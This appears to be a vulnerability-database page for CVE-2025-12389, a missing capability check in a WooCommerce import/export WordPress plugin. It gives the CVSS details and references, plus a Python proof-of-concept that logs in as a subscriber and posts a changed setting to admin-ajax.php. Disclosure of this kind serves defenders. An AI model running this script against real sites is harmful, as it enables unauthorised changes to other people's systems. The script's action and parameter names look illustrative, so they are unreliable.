CVE-2025-12389

Description

The Import Export For WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the update_setting() function in all versions up to, and including, 1.6.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin's record setting.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Import Export For WooCommerce < 1.6.2

Import Export For WooCommerce <= 1.6.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-12389 PoC - Unauthorized setting modification
# Target: WordPress site with Import Export For WooCommerce plugin <= 1.6.2

target_url = "http://target-wordpress-site.com/"

# Authenticated user with Subscriber role or higher
session = requests.Session()

# Login as subscriber user
login_url = target_url + "wp-login.php"
login_data = {
    "log": "subscriber_username",
    "pwd": "subscriber_password",
    "wp-submit": "Log In"
}
session.post(login_url, data=login_data)

# Exploit the missing capability check in update_setting()
exploit_url = target_url + "wp-admin/admin-ajax.php"
exploit_data = {
    "action": "iewc_update_setting",  # Plugin's AJAX action
    "setting_name": "export_records_limit",  # Example setting
    "setting_value": "999999"  # Malicious value
}

response = session.post(exploit_url, data=exploit_data)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12389
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12389
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12389/
[4] VulDB https://vuldb.com/cve/CVE-2025-12389
[5] https://wordpress.org/plugins/import-export-for-woocommerce/
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/a5a93e3f-54c6-4970-96fd-fab0e81f7034?source=cve

Raw JSON Data

JSON

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